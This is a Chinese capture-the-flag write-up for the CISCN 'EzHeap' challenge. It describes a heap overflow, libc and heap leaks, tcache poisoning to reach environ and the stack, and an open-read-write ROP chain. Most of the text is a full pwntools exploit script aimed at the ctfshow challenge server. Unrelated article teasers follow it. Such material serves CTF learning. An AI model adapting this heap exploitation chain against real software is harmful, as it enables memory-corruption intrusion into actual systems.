CISCN --EzHeap

当时有点着急了,这题没写出来,结束后在ctfshow上做了一下。

使用的方法是environ泄露栈地址,然后在栈上构造orw的rop链。

以下是过程:

只能orw。

堆体开沙盒模式会在heap和bin一开始构造很多垃圾堆。所以分配和free的时候要注意原本heap和bin中的情况 。

我观察了一下,在malloc_cosolidate后,最大的free_chunk是0x1a0,所以我采用0x200的chunk,这样就不会被影响。

不能uaf 

edit可以自定义大小 。

思路清晰了,将下一个0x420大小的chunk给free掉,这样fd段就是usbin地址,然后用edit将当前chunk和下一个chunk的size段和pre_size填满,然后show(),就能全都打印出来,就能泄露libc基址了。同时如果下一个chunk是tcachebin,也能用edit修改它的fd,或者泄露堆地址。

所以,整体就是:泄露libc基址--->计算出environ地址-->泄露堆地址--->覆盖fd-->分配到environ-0x200的位置-->泄露栈地址-->覆盖fd-->分配到栈上-->写入rop链

以下是exp:

from pwn import *
context.arch='amd64'
elf=ELF('./EzHeap')
libc=ELF('./libc.so.6')
#io=remote('node5.buuoj.cn',27949)
io=process('./EzHeap')
#io=remote('61.147.171.105',54043)
io=remote('pwn.challenge.ctf.show',28124)

def add(size,content):
    io.recvuntil(b"choice >> ")
    io.sendline(b'1')
    io.recvuntil(b"size:")
    io.sendline(str(size).encode())
    io.recvuntil(b"content:")
    io.send(content)

def delete(idx):
    io.recvuntil(b"choice >> ")
    io.sendline(b'2')
    io.recvuntil(b"idx:\n")
    io.sendline(str(idx).encode())

def show(idx):
    io.recvuntil(b"choice >> ")
    io.sendline(b'4')
    io.recvuntil(b"idx:")
    io.sendline(str(idx).encode())
    io.recvuntil(b"content:")

def edit(idx,size,content) :
    io.recvuntil(b"choice >> ")
    io.sendline(b'3')
    io.recvuntil(b"idx:")
    io.sendline(str(idx).encode())
    io.recvuntil(b"size:")
    io.sendline(str(size).encode())
    io.recvuntil(b"content:")
    io.send(content)


for i in range(8):
    add(0xe0,b'aa')
#gdb.attach(io)
#pause()
add(0x200,b'a')#8
add(0x410,b'a')#9
add(0x200,b'a')#10
#gdb.attach(io)
#pause()
delete(9)
edit(8,0x210,b'a'*0x20f+b'b')
show(8)
io.recvuntil(b'b')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x21ace0
print('libc_base:',hex(libc_base))
#gdb.attach(io)
#pause()
environ=libc_base+libc.sym['environ']
print('environ:',hex(environ))
edit(8,0x210,b'a'*0x200+p64(0)+p64(0x421))
add(0x410,b'a')#9
add(0x200,b'a')#11
add(0x200,b'a')#12
delete(12)
#gdb.attach(io)
#pause()
#leak heap addr
edit(11,0x210,b'a'*0x20f+b'b')
show(11)
io.recvuntil(b'b')
hee=u64(io.recv(5).ljust(8,b'\x00'))
heap_base=hee*0x1000
print('heap_base:',hex(heap_base))
#gdb.attach(io)
#pause()
my_addr=heap_base+0xd50
edit(11,0x210,b'a'*0x200+p64(0)+p64(0x211))
delete(11)
fake_fd=(heap_base>>12)^(environ-0x200)
edit(10,0x218,b'a'*0x200+p64(0)+p64(0x211)+p64(fake_fd))
add(0x200,b'a')#11
add(0x200,b'a'*0x1ff+b'b')#12
show(12)
io.recvuntil(b'b')
stack=u64(io.recv(6).ljust(8,b'\x00'))
print('stack:',hex(stack))
#gdb.attach(io)
#pause()
ret_addr=stack-0x170
print('ret_addr:',hex(ret_addr))
ret=libc_base+0x29139 
rax=libc_base+0x45eb0
rdi=libc_base+0x2a3e5
rsi=libc_base+0x2be51
rdx_rbx=libc_base+0x11f2e7
syscall=libc_base+0x91316
#gdb.attach(io)
#pause()
add(0x200,b'a')#13
add(0x200,b'a')#14
add(0x200,b'a')#15
delete(15)
delete(14)
heap_base+=0x1000
fake_fd=(heap_base>>12)^(ret_addr-0x8)
edit(13,0x218,b'a'*0x200+p64(0)+p64(0x211)+p64(fake_fd))
#gdb.attach(io)
#pause()
add(0x200,b'a')
#gdb.attach(io)
#pause()
payload=p64(0)+p64(rax)+p64(2)+p64(rdi)+p64(ret_addr+0xd8)+p64(rsi)+p64(0)+p64(syscall)+p64(rax)+p64(0)+p64(rdi)
payload+=p64(3)+p64(rsi)+p64(ret_addr+0x100)+p64(rdx_rbx)+p64(0x100)+p64(0)+p64(syscall)
payload+=p64(rax)+p64(1)+p64(rdi)+p64(1)+p64(rsi)+p64(ret_addr+0x100)+p64(rdx_rbx)+p64(0x100)+p64(0)+p64(syscall)+b'/ctfshow_flag\x00'
add(0x200,payload)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/654665.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

nuxt3+Element Plus项目搭建过程记录

背景 本文只记录项目搭建过程中遇到的一些问题和关键点&#xff0c;nuxt框架的说明和API请参照官网学习 官网&#xff1a;https://nuxt.com/docs/getting-started/introduction 1. 初始化项目 指令如下: npx nuxilatest init <project-name>我在安装过程中出现报错&a…

玻璃加工生产线液压比例控制器

玻璃加工生产线广泛应用于自动化中空玻璃的生产、清洗、磨边、上片、除膜、打胶等各个环节&#xff0c;体现了高度的专业化和自动化水平。在玻璃制造过程中&#xff0c;液压升降机用于玻璃板材的升降和定位&#xff0c;确保玻璃在加工过程中的稳定性。液压系统提供的强大而平稳…

2024-05-28 服务器开发-不同vs版本的std::string的访问出错问题-记录

摘要: 有一个dll库是使用vs2010编译的, 使用这个dll动态库的工程是vs2019. 这个dll动态库返回一个结构体&#xff0c;其中有个成员使用了std::string。但是遇到了std::string的成员显示被赋值为NULL的情况。 本文对进行分析, 重点在于追踪问题的思路。 问题描述: dll使用vs20…

盐城市大数据集团携手百望云 以MaaS推进数字经济跃迁

随着ChatGPT的爆火&#xff0c;大模型、人工智能、大数据等技术&#xff0c;被快速推向市场最前沿。如何通过创新技术提升企业的数字化能力&#xff0c;助力数据要素资产沉淀&#xff0c;推动企业及所在行业、区域实现数智化转型&#xff0c;是大家关注的核心问题。 “携手共建…

电商API接口助力直播带货选品||助力电商平台搭建选品

如今&#xff0c;直播带货如火如荼。直播带货的核心是卖货、品牌盈利&#xff0c;那想要带货效果更好&#xff0c;选品及定价是最关键的环节。 事实上&#xff0c;品牌企业可以直接使用API接口工具来辅助自身选品及定价&#xff0c;这主要是因为比价工具在直播带货选品环节能起…

ChatGPT原创指令大全(持续更新)

随着ChatGPT在互联网上的使用越来越多&#xff0c;但很多人在使用ChatGPT的过程中会觉得得到的答案并不是很精准。究其原因其实是你给它的命令不够准确、不够到位。实际现在网上已经很多关于ChatGPT的网站&#xff0c;可以快速生成带有快捷键的ChatGPT指令。但是对于不熟悉Chat…

C++学习/复习8--STL简介/六大组件/缺陷

一、STL简介 二、六大组件 三、面试题 四、STL缺陷

前端使用JavaScript实现一个LRU缓存

引言 LRU&#xff08;Least Recently Used&#xff09;算法是一种广泛应用于内存管理和缓存系统的策略&#xff0c;在微前端、状态管理以及性能优化等场景下&#xff0c;合理使用缓存机制能够有效提升应用性能。本文将介绍LRU算法的基本原理&#xff0c;并通过JavaScript实现案…

Debian12 安装留档@Virtual Box

在学蜜罐系统的时候&#xff0c;T-Pot 需要Debian&#xff0c;于是安装Debian12 下载安装光盘 先去中科大下载了12的安装光盘&#xff0c;然后在VirtualBox中创建一个新虚拟机&#xff0c;将安装光盘挂载上。 安装光盘下载地址&#xff1a;https://mirrors.ustc.edu.cn/debi…

YOLOv8+PyQt5农作物杂草检测系统完整资源集合(yolov8模型,从图像、视频和摄像头三种路径识别检测,包含登陆页面、注册页面和检测页面)

农作物杂草检测YOLOV8(https://mbd.pub/o/bread/mbd-ZpaTl5tv)_哔哩哔哩_bilibili 资源包含可视化的农作物杂草检测系统&#xff0c;基于最新的YOLOv8训练的农作物杂草检测模型&#xff0c;和基于PyQt5制作的可视化农作物杂草检测系统&#xff0c;包含登陆页面、注册页面和检测…

手机定制开发_基于天玑900的5G安卓手机定制方案

手机定制方案基于联发科天玑900强劲旗舰八核2.4GHz处理器。这款处理器采用了6nm先进制程工艺&#xff0c;为用户带来了痛快淋漓的性能体验。不论是进行游戏还是日常娱乐&#xff0c;用户都能轻松驾驭。手机搭载了最新的Android 13操作系统&#xff0c;提高了数据读取的准确性&a…

pod容器基础概念

一 Pod基础概念&#xff1a; ①Pod是kubernetes中最小的资源管理组件&#xff0c;Pod也是最小化运行容器化应用的资源对象。一个 Pod代表着集群中运行的一个进程。一个pod包含一个或多个容器。如&#xff1a;应用容器/业务容器&#xff08;淘 宝、京东、拼多多后台&#xff…

华为机考入门python3--(32)牛客32-密码截取

分类&#xff1a;最长对称子串、动态规划 知识点&#xff1a; 生成二维数组 dp [[0] * n for _ in range(n)] 求最大值 max(value1, value2) 动态规划的步骤 a. 定义问题 长度为n下最长的对称子串的长度 b. 确定状态 dp[i][j]表示字符串从索引i到j的子串是否为对称…

ctfshow web入门 黑盒测试

web380 这里文章看的我好有感触 但是影响做题 扫描一下 访问flag.php啥也没有再访问page.php page.php?idflagweb381 扫出来page.php但是没啥用哇&#xff0c;查看源代码 这些文件挨个试发现啥也没&#xff0c;最后仔细对比发现其实都是layui&#xff0c;然后尝试着访问…

揭开 SOCKS5 有哪些强大的功能?

在在线隐私和安全领域&#xff0c;SOCKS5 是一种多功能且功能强大的协议&#xff0c;为用户提供了一种无缝的方式来加密他们的互联网流量、绕过防火墙并以增强的匿名性和灵活性访问网络。无论您是担心在线监控、地理封锁还是数据隐私&#xff0c;了解如何利用 SOCKS5 的功能都可…

远程桌面连接--“发生身份验证错误。要求的函数不受支持”

出现身份验证错误 要求的函数不受支持的问题&#xff0c;可以通过以下几种方法尝试解决&#xff1a;12 对于Windows 10家庭版用户&#xff0c;需要修改注册表信息。具体步骤如下&#xff1a; 按下WIN R&#xff0c;输入regedit&#xff0c;点击确定&#xff0c;打开注册表编辑…

基于AT89C52单片机的智能窗帘系统

点击链接获取Keil源码与Project Backups仿真图&#xff1a; https://download.csdn.net/download/qq_64505944/89276984?spm1001.2014.3001.5503 C 源码仿真图毕业设计实物制作步骤07 智能窗户控制系统学院&#xff08;部&#xff09;&#xff1a; 专 业&#xff1a; 班 级&…

【第5章】SpringBoot整合Druid

文章目录 前言一、启动器二、配置1.JDBC 配置2.连接池配置3. 监控配置 三、配置多数据源1. 添加配置2. 创建数据源 四、配置 Filter1. 配置Filter2. 可配置的Filter 五、获取 Druid 的监控数据六、案例1. 问题2. 引入库3. 配置4. 配置类5. 测试类6. 测试结果 七、案例 ( 推荐 )…

基于STM32实现智能交通灯控制系统

目录 引言环境准备智能交通灯控制系统基础代码示例&#xff1a;实现智能交通灯控制系统 GPIO控制交通灯定时器配置与使用红外传感器检测车辆用户界面与显示应用场景&#xff1a;城市交通管理与自动化控制问题解决方案与优化收尾与总结 1. 引言 本教程将详细介绍如何在STM32嵌…

性能猛兽:OrangePi Kunpeng Pro评测!

1.引言 随着物联网和嵌入式系统的不断发展&#xff0c;对于性能强大、资源消耗低的单板计算机的需求也日益增加。在这个快节奏的技术时代&#xff0c;单板计算机已成为各种应用场景中不可或缺的组成部分&#xff0c;从家庭娱乐到工业自动化&#xff0c;再到科学研究&#xff0…